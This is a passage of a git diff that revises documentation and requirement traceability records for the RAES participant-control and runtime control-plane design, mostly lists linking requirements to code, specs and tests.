request gets a redacted +`500`. Declare one transport authority with the dependencies in +`raes_runtime.control_plane_api._auth`. A public probe is GET-only and must +return no runtime value. Then apply the operation's own subject policy in the +core. A stream, callback, or export must authorize every item it releases. diff --git a/docs/public/index.md b/docs/public/index.md index 90e7e076d..538e0fa68 100644 --- a/docs/public/index.md +++ b/docs/public/index.md @@ -16,7 +16,8 @@ about five minutes and uses the Python package. - **Controlling participant input or output?** Use the [participant-control guide](participant-control.md). - **Integrating RAES?** Choose the [Python API](guides/python.md) or - [command-line interface](guides/cli.md). + [command-line interface](guides/cli.md). To serve the runtime over HTTP, read + [serve the runtime control plane](guides/control-plane.md). - **Building a backend?** Read the [backend and conformance guide](backends.md). - **Evaluating the research?** Start with the [research context](research.md), [current limits](limitations.md), and [citation](citation.md). @@ -35,6 +36,7 @@ sdl/index participant-control guides/python guides/cli +guides/control-plane backends research limitations diff --git a/docs/public/participant-control.md b/docs/public/participant-control.md index 662ee1933..1405f4ee3 100644 --- a/docs/public/participant-control.md +++ b/docs/public/participant-control.md @@ -1,5 +1,8 @@ # Control participant input and output +For task/effect attainment independent of evaluation and reward, see +[participant-local outcome reporting](https://github.com/OpenRAE/rae/blob/dev/docs/explain/reference/participant-local-outcomes.md). + Use participant control to set three things. Set what may cross a participant boundary. Set who may direct the participant. Set what proof a run retains. This guide explains the shipped RAES model. It serves five reader roles. It @@ -15,6 +18,28 @@ They own the rules. Follow them if this guide seems to differ. ## Keep four planes separate +For backend authors, the +[modular provider contract reference](https://github.com/OpenRAE/rae/blob/dev/docs/explain/reference/modular-participant-control-contracts.md) +describes closed profile selections, typed results and requested effects, and +how the reference runtime orchestrates them. Publishing these contracts does +not install a provider or execute its requests. The runtime invokes only +providers an operator constructed and bound to the admitted selection. It +commits the composed decision before any backend effect or delivery. It +dispatches an admitted effect only through the RAES operation that already owns +it. An effect acts for the principal whose operation admitted it, never for the +caller that later requests its dispatch. + +API-424 now also publishes v2 selection/evaluation contracts and +`ParticipantControlProviderV2` for per-crossing applicability and typed +dependency inputs. Those contracts keep the complete admitted apparatus +separate from the slots applicable at one state cut, require profile-owned +coverage and explicit input support, and separate parent decisions from +effect prerequisites. They require exact protocol/schema negotiation and a +trusted operator resolver. The current reference runtime and retained v1 +history continue to use provider/v1; v2 publication alone does not activate +v2 scheduling, state commit or effect dispatch. See the +[migration rules](https://github.com/OpenRAE/rae/blob/dev/docs/migration/control-applicability-and-evaluation.md). + | Plane | What it contains | What it does not imply | | --- | --- | --- | | World truth | Backend or environment state under its owning semantics | Participant visibility | @@ -32,7 +57,7 @@ decision, change, release, delivery attempt, delivery, observation, and audit. Each stage refers to an existing carrier. It does not copy the carrier payload into a generic participant message. -## Mixed simulation and emulation are DRAFT +## Mixed simulation and emulation semantics Issue #813 and ADR-102 define the design boundary for using the same participant-control intent in: @@ -40,8 +65,9 @@ participant-control intent in: - simulation or emulation/operation as alternative realizations; and - simulation and emulation/operation together in one admitted trial. -SEM-234 and ASR-537 are DRAFT. The design does not mean current RAES runtimes -can execute a mixed trial. +Issue #1013 publishes SEM-234's revisioned semantic definition and finite +admission/phase examples. ASR-537's realization demonstration remains DRAFT. +This does not mean current RAES runtimes can execute a mixed trial. Portable SDL stays backend-neutral. Future admitted trial intent will allocate stable participant-runtime, controlled-scope, action-family, @@ -50,6 +76,12 @@ component edge must state its adapter, authority, action/observation mapping, participant/audience policy, clock/order mapping, support strength, loss, failure behavior, and evidence. +These are admitted apparatus obligations. They do not require authors to +specify internal installation recipes. Open materialization scopes retain +their delegated choices, exact constraints stay binding, and abstract models +can be complete. Reporting, experimental collection, retention and export are +independently requested; precise scenario detail does not imply telemetry. + Keep these separate: - participant identity; @@ -80,8 +112,8 @@ mappings, policy, clocks, and failure behavior were admitted before execution. Neither kind erases prior delivery or participant knowledge. Do not treat a shared adapter, passing conformance probe, paired backend run, -or successful transfer trial as backend equivalence. The implementation and -evidence work is tracked by issues #1013 through #1019. See the +or successful transfer trial as backend equivalence. The contract, runtime and +evidence work is tracked by issues #1014 through #1019. See the [issue #813 design record](https://github.com/OpenRAE/rae/issues/813). ## Choose the route for your role @@ -99,7 +131,10 @@ observation boundary. Reuse the action, control, or inject carrier. - Use `participant_inject_deliveries` when an existing orchestration inject is addressed to a participant. Retain its inject identity. Retain its event/script/story identity. Bind an observation boundary. Name each needed - delivery, order, evidence, or control reference. + delivery, order, evidence, or control reference. A temporal constraint bound + to the delivery compiles to that delivery's `participant.*` address; it + constrains the authored occurrence and does not prove dispatch, delivery, or + observation. - Do not infer a participant addressee from an environment inject. Do not put policy text, hidden answers, credentials, or raw evidence in a participant carrier. @@ -161,6 +196,11 @@ Legacy API-408 status, context, and history retrieval remains available when no crossing resolver is set. That legacy mode is not governed egress. With a resolver, the HTTP adapter binds the audience before lookup. It resolves trusted evidence. It commits crossing facts before it writes the view. +If the final flow-sink check refuses release, retrieval returns no view and +the same atomic write records a failed operation and denied audit. Earlier +crossing decisions remain in history as evidence of work performed; they do +not mean the view was delivered. Retrying the same request returns the denied +outcome, including after the local store is reopened. Use the [participant-control migration guide](https://github.com/OpenRAE/rae/blob/dev/docs/migration/participant-information-flow-control.md) diff --git a/docs/requirements/ACT-601/requirement.md b/docs/requirements/ACT-601/requirement.md index 27baf9e46..29df950a1 100644 --- a/docs/requirements/ACT-601/requirement.md +++ b/docs/requirements/ACT-601/requirement.md @@ -21,6 +21,14 @@ Requirement inventory expansion. Participant framing must describe who acts, und ## Traceability +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/agents.py` (Declaration identity, optional affiliation, and effective role) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/participant_behavior/_affiliations.py` (Normalized affiliation validation) +- IMPLEMENTS → SPEC `specs/sdl/participant-identity.md` (Participant identity and role boundary) +- TESTS → TEST `implementations/python/tests/test_issue_1338_participant_identity.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_stages.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_authority.py` +- TESTS → TEST `implementations/python/tests/test_issue_1338_identity_evidence.py` + - IMPLEMENTS → ADR `docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md` (ADR-020 Declarative Participant Framing Boundaries) - TESTS → TEST `implementations/python/tests/test_sdl_models.py` (Structural tests for Agent participant-framing fields) - TESTS → TEST `implementations/python/tests/test_sdl_validator.py` (Semantic-validator tests for the three new framing fields (TestAgentParticipantFraming)) diff --git a/docs/requirements/ACT-606/requirement.md b/docs/requirements/ACT-606/requirement.md index d044eff22..ce6bbd9e6 100644 --- a/docs/requirements/ACT-606/requirement.md +++ b/docs/requirements/ACT-606/requirement.md @@ -21,6 +21,8 @@ Requirement inventory expansion. Participant behavior must be expressible as a f ## Traceability +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py` (Behavior reference validation, including deferred parameterized role binding) +- TESTS → TEST `implementations/python/tests/test_act_612_relationship_integration.py` (Role-based refinement revalidation after instantiation) - IMPLEMENTS → ADR `docs/decisions/adrs/adr-067-participant-behavior-model.md` (ADR-067 Participant Behavior Model) - IMPLEMENTS → SPEC `specs/formal/participant-behavior-model/README.md` (Formal participant behavior model specification) - IMPLEMENTS → GITHUB_ISSUE `77` (Issue #77 - Participant behavior model) diff --git a/docs/requirements/ACT-612/requirement.md b/docs/requirements/ACT-612/requirement.md index 9d28f84c1..ccb0a19be 100644 --- a/docs/requirements/ACT-612/requirement.md +++ b/docs/requirements/ACT-612/requirement.md @@ -1,12 +1,12 @@ --- id: ACT-612 title: "Multi-Participant Coordination And Delegation" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: SHOULD wave: 2 created_at: 2026-04-03T06:14:53.343616Z -updated_at: 2026-04-03T06:14:53.343616Z +updated_at: 2026-09-16T00:00:00Z --- # ACT-612 — Multi-Participant Coordination And Delegation @@ -18,3 +18,32 @@ The ecosystem shall support explicit coordination, delegation, cooperation, comp ## Rationale Requirement inventory expansion. Real exercises and agentic experiments require participant relationships beyond isolated single-actor behavior. + +## Traceability + +- TESTS → TEST `implementations/python/tests/test_issue_1338_participant_identity.py` (Relationship objectives follow explicit endpoint assignment) + +- IMPLEMENTS → GITHUB_ISSUE `214` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/participant_relationships.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/relationships.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_participant_relationships.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_sections.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_behavior.py` +- IMPLEMENTS → SPEC `specs/sdl/participant-relationships.md` +- TESTS → TEST `implementations/python/tests/test_act_612_participant_relationships.py` +- TESTS → TEST `implementations/python/tests/test_act_612_relationship_integration.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_language_metadata.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/__init__.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_content_objectives.py` +- IMPLEMENTS → SPEC `contracts/schemas/sdl/sdl-authoring-input-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/sdl/instantiated-scenario-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/sdl/materialized-scenario-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json` +- TESTS → TEST `implementations/python/tests/test_requirement_governance.py` (Participant ownership of local requirement records and publication shards) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current and historical evidence integrity after source changes) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Current and historical evidence integrity after source changes) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current and historical evidence integrity after source changes) +- IMPLEMENTS → SPEC `specs/sdl/references.md` (Participant reference domains, phases, and rejection rules) +- TESTS → TEST `implementations/python/tests/test_sdl_catalog_parity.py` (Reference catalog agreement with live relationship fields) diff --git a/docs/requirements/ACT-614/requirement.md b/docs/requirements/ACT-614/requirement.md index 727949f6a..8efbfade4 100644 --- a/docs/requirements/ACT-614/requirement.md +++ b/docs/requirements/ACT-614/requirement.md @@ -1,12 +1,12 @@ --- id: ACT-614 title: "Temporal Behavior Profiles" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: SHOULD wave: 2 created_at: 2026-04-03T06:15:08.208790Z -updated_at: 2026-04-03T06:15:08.208790Z +updated_at: 2026-09-21T00:00:00Z --- # ACT-614 — Temporal Behavior Profiles @@ -18,3 +18,76 @@ The ecosystem shall support participant behavior profiles with schedules, cadenc ## Rationale Requirement inventory expansion. Participant behavior over time is a first-class scenario concern rather than a backend-local pacing detail. + +## Traceability + +- IMPLEMENTS → GITHUB_ISSUE `216` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/participant_execution.py` (Versioned schedules and typed numeric parameters) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_behavior.py` (Namespaced profile references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/participant_temporal_semantics.py` (Explicit deadline and dwell bindings) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/participant_temporal_bindings.py` (Backend-independent binding validity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/participant_temporal.py` (Resolved temporal identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/capability_admission.py` (Exact manifest sufficiency) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_temporal.py` (Dispatch and outcome enforcement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_temporal.py` (Evidence assessment and durable consistency) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_temporal_assessment.py` (Focused temporal assessment checks) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/participant_temporal_probes.py` (Scenario-specific conformance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_declarations.py` (Typed temporal authoring values) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/composition/_sections.py` (Temporal import rewriting) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/observation_scope.py` (Dwell observation scope) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/semantics/participant_behavior/_autonomous.py` (Temporal behavior validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_content_objectives.py` (Temporal objective validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/validator/_nodes_infra_network.py` (Temporal node validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_capabilities.py` (Optional backend controls) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_execution_manifest.py` (Manifest declarations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/participant_execution_probes.py` (Claim-scoped conformance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle.py` (Temporal contract bundles) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/manifests.py` (Manifest schema) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_execution.py` (Execution binding contract) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_runtime.py` (Runtime temporal state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_temporal.py` (Temporal contract models) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_views.py` (History projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/realization_plans.py` (Realization-plan support) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/schema_invariants.py` (Temporal schema invariants) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_autonomous_state.py` (Durable temporal state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_binding.py` (Evidence binding validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_binding_events.py` (Evidence event projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_binding_history.py` (Evidence binding history projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/participant_autonomous_execution.py` (Compiled temporal execution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/participant_behaviors.py` (Behavior compilation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/action_results.py` (Temporal action results) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/behavior_resources.py` (Temporal resource model) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/history_event.py` (Temporal history events) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/history_event_serialization.py` (Temporal history event serialization) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/temporal.py` (Resolved temporal model) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager.py` (Shared-time driver lifecycle) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager_plan_admission.py` (Admission diagnostics) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_action_validation.py` (Protected temporal state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_episode_control.py` (Temporal episode control) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_execution_scheduler_state.py` (Temporal scheduler state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_concurrency.py` (Temporal concurrent dispatch) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_concurrent_commit.py` (Temporal commit isolation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_concurrent_dispatch.py` (Temporal dispatch isolation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_concurrent_state.py` (Temporal concurrent state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_operations.py` (Temporal scheduling operations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_binding.py` (Autonomous action-request binding) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_due.py` (Temporal scheduler due-action selection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_scheduler_policy.py` (Temporal scheduling policy) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_submission_options.py` (Temporal submission options) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/registry.py` (Conformance runtime-manager interoperation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/time_control.py` (Authoritative time advancement) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/autonomous-execution.md` (Schedules, cadence, dwell, deadlines and lifecycle) +- IMPLEMENTS → SPEC `contracts/schemas/sdl/sdl-authoring-input-v1.json` (Published authoring contract) +- IMPLEMENTS → SPEC `contracts/schemas/snapshots/runtime-snapshot-v1.json` (Published evidence and assessment carriers) +- DOCUMENTS → DOCUMENTATION `examples/scenarios/temporal-profiles/README.md` (User/automation mapping, capabilities and limits) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_profiles.py` (Imports, parameters, bindings and examples) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_admission.py` (Limited/rich manifests and conditional conformance) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_runtime.py` (Deadline, dwell, generation and retry enforcement) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_durability.py` (History, persistence and legacy identity) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_security.py` (Evidence authorization and backend mutation isolation) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_conformance.py` (Probe-owned clock driver shutdown on success and failure) +- TESTS → TEST `implementations/python/tests/test_dsl_437_benign_participant_execution.py` (Cadence, windows, intervals, dependencies, retries and cooldowns) +- TESTS → TEST `implementations/python/tests/_act_614_temporal_fixtures.py` (Temporal fixture support) +- TESTS → TEST `implementations/python/tests/test_issue_898_participant_execution_control.py` (Execution-control regression) +- TESTS → TEST `implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py` (Control-plane mutation regression) +- TESTS → TEST `implementations/python/tests/test_participant_concurrent_batch_reservations.py` (Concurrent reservation regression) diff --git a/docs/requirements/ACT-617/requirement.md b/docs/requirements/ACT-617/requirement.md index 56ff7307f..2a990b090 100644 --- a/docs/requirements/ACT-617/requirement.md +++ b/docs/requirements/ACT-617/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: SHOULD wave: 3 created_at: 2026-04-03T06:15:08.540051Z -updated_at: 2026-07-24T17:25:47.134870Z +updated_at: 2026-09-22T01:33:58.710054Z --- # ACT-617 — Mixed-Control Participant Operation @@ -15,12 +15,42 @@ updated_at: 2026-07-24T17:25:47.134870Z The ecosystem shall support participants whose behavior combines autonomous operation with external direction, approval or denial, intervention, handoff, override, or cancellation through explicit controller and authority state and ordered transitions distinct from action admission, execution, and observation. +Authored policy shall distinguish reusable permitted transitions from their +applications. Each application shall bind fresh occurrence and applicable +proposal/target identity, exact prior/resulting state revisions, admitted order, +evaluated validity and evidence. The same edge shall permit repeated cycles in +one episode without weakening exact-state checks. An explicitly finite script +shall constrain applications through the same relation and retain its finite +extent. Source-controller authority and handoff-only controller transfer in the +revised form shall follow MC-01–MC-06 of the canonical amendment below. + ## Rationale Issue #794 found the original mixed-control requirement sound but underspecified: portable behavior needs explicit controller identity, authority basis, validity, ordering, conflict, provenance, and handoff semantics rather than behavior modes or ad hoc overrides. +Issue #1351 identifies fixed traversal revisions/order and proposal references +in the authored graph as a finite-script limitation. Permission must remain +reusable while each occurrence is independently precise and authorized. + +## Semantic amendment and evidence boundary + +[ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) +and [MC-01–MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md) +define the #1351 amendment. ACTIVE records the accepted contract, not proof +that every amended clause is implemented. Existing code/schema links evidence +the legacy fixed-coordinate form; the new bounded tests evidence a design +projection. Executable adoption and historical readers must meet the +[migration contract](../../migration/reusable-mixed-control.md). + ## Traceability +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/reusable-mixed-control.md` (Reusable permission/application semantic amendment; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1351` (Semantic decision and canonical requirement amendment) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md` (Accepted-on-merge policy/occurrence decision) +- DOCUMENTS → DOCUMENTATION `docs/migration/reusable-mixed-control.md` (Producer/reader and historical-meaning rules) +- DOCUMENTS → DOCUMENTATION `docs/research/reusable-mixed-control/cases.md` (Worked cycles and bounded evidence claims) +- TESTS → TEST `implementations/python/tests/test_issue_1351_mixed_control_design.py` (Bounded abstract-model falsification; not production realization) + - TESTS → TEST `implementations/python/tests/test_issue_1004_apparatus_backend_capabilities.py` (ACT-617 processing-role-trust controller/authority declaration tests) - DOCUMENTS → GITHUB_ISSUE `794` (Assess and design formal participant I/O control with information-flow and bisimulation semantics) - DOCUMENTS → DOCUMENTATION `docs/research/participant-io-control/requirement-disposition.md` (Issue #794 participant information-flow/control requirement disposition) diff --git a/docs/requirements/ACT-618/requirement.md b/docs/requirements/ACT-618/requirement.md index 3ebe95293..9fbc6b498 100644 --- a/docs/requirements/ACT-618/requirement.md +++ b/docs/requirements/ACT-618/requirement.md @@ -1,12 +1,12 @@ --- id: ACT-618 title: "Participant Outcome Model Support" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: SHOULD wave: 2 created_at: 2026-04-03T06:15:08.649778Z -updated_at: 2026-04-03T07:49:32.325489Z +updated_at: 2026-09-21T00:00:00Z --- # ACT-618 — Participant Outcome Model Support @@ -18,3 +18,46 @@ The ecosystem shall support explicit participant-local outcome models, including ## Rationale Requirement inventory expansion. Participant behavior needs explicit local outcome meaning rather than only scenario-wide success or failure. + +## Clause verification + +- Explicit participant-local models: the versioned SEM-215 local definition and + v2 outcome-report contract bind category, criterion/evidence basis, participant, + episode, immutable rule revision and observation cut. +- Role-neutral categories: the same task-completion category is exercised through + the production control plane for red, blue and ordinary-service green roles. +- Evolving outcome state: the runtime producer, append-only snapshot history and + replay validators cover revision checks, partial/unknown/conflicting evidence, + corrections, freshness, retries, reset, persistence and failed commits. +- Independent of scenario evaluation: real effects with admitted evidence drive + local attainment; action success alone supplies none. No evaluator, objective + or reward result is created. Participant views do not expose local reports. +- Historical compatibility: v1 schemas/readers remain unchanged; explicit version + dispatch preserves old records and rejects unsupported versions. Old snapshots + acquire an empty history, never synthetic observations or attainment. + +## Traceability + +- IMPLEMENTS → GITHUB_ISSUE `218` (Complete participant-local outcome categories and state) +- IMPLEMENTS → CODE `implementations/python/packages/raes/participant_local_outcome.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes/participant_outcome_semantics.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes/semantics/participant_outcome.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes_contracts/contracts/participant_outcomes.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes_contracts/participant_outcome_history.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes_runtime/participant_outcome_state.py` +- IMPLEMENTS → CODE `implementations/python/packages/raes_runtime/participant_outcome_control.py` +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-outcome-report-v2.json` +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/local-outcomes.md` +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/participant-local-outcomes.md` +- TESTS → TEST `implementations/python/tests/test_act_618_outcome_definition.py` +- TESTS → TEST `implementations/python/tests/test_act_618_outcome_state.py` +- TESTS → TEST `implementations/python/tests/test_act_618_outcome_control.py` +- TESTS → TEST `implementations/python/tests/test_participant_concurrent_batch_reservations.py` +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/analysis-v41.json` +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/analysis-v41.json` +- IMPLEMENTS → CODE `implementations/python/packages/raes/validator/_participant_outcome_renderers.py` +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/analysis-v42.json` +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/analysis-v42.json` diff --git a/docs/requirements/API-402/requirement.md b/docs/requirements/API-402/requirement.md index 3b7de7bd8..d443056e7 100644 --- a/docs/requirements/API-402/requirement.md +++ b/docs/requirements/API-402/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 1 created_at: 2026-04-03T05:40:04.988670Z -updated_at: 2026-04-05T03:06:54.035699Z +updated_at: 2026-09-25T00:00:00.000000Z --- # API-402 — Plain-Data Execution, Result, And History Contracts @@ -34,3 +34,26 @@ Current state: implemented. Portable live-execution contracts are required so in - CONSTRAINS → SPEC `contracts/schemas/control-plane/workflow-history-event-stream-v1.json` (Workflow History Event Stream Schema) - CONSTRAINS → SPEC `contracts/schemas/control-plane/evaluation-history-event-stream-v1.json` (Evaluation History Event Stream Schema) - CONSTRAINS → SPEC `contracts/schemas/snapshots/runtime-snapshot-v1.json` (Runtime Snapshot Schema) + +- IMPLEMENTS → GITHUB_ISSUE `1360` (Optional backend operation and supervision contract publication) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/__init__.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/operation_supervision.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_version_exports.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/backend_operation.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/backend_operation_response.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/backend_operation_schema.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/backend_operation_validation.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle_runtime.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/manifest_authority.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/versions.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- TESTS → TEST `implementations/python/tests/test_issue_1360_backend_operations.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- TESTS → TEST `implementations/python/tests/test_issue_1360_operation_rejections.py` (Portable operation carriers, contextual validation and publication boundary; no runtime supervision claim) +- IMPLEMENTS → SPEC `specs/formal/runtime-contracts/backend-operation-supervision.md` (Normative carrier and cross-message semantics) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/backend-operation-supervision.md` (Provider duties, migration and evidence limits) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1360-backend-operation-contracts-preflight.md` (Contract publication guardrails) +- IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` (Existing live-contract requirement admitted through control-plane governance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_backend_operation_exports.py` (Public operation contract facade exports) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_stubs/manifest.py` (Keep operation supervision opt-in; legacy stub does not advertise an unimplemented provider) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_reference_backend/manifest.py` (Keep operation supervision opt-in for reference emulation) diff --git a/docs/requirements/API-404/requirement.md b/docs/requirements/API-404/requirement.md index 41a86660b..4ae390a9e 100644 --- a/docs/requirements/API-404/requirement.md +++ b/docs/requirements/API-404/requirement.md @@ -6,51 +6,262 @@ type: FUNCTIONAL priority: MUST wave: 1 created_at: 2026-04-03T05:55:58.825305Z -updated_at: 2026-09-11T05:07:15.000000Z +updated_at: 2026-09-26T00:00:00.000000Z --- # API-404 — Secure, Durable, And Idempotent Control-Plane Semantics ## Statement -The control-plane contract shall support authenticated and authorized access, durable operation state, idempotent submission behavior, and auditable lifecycle actions. +The runtime 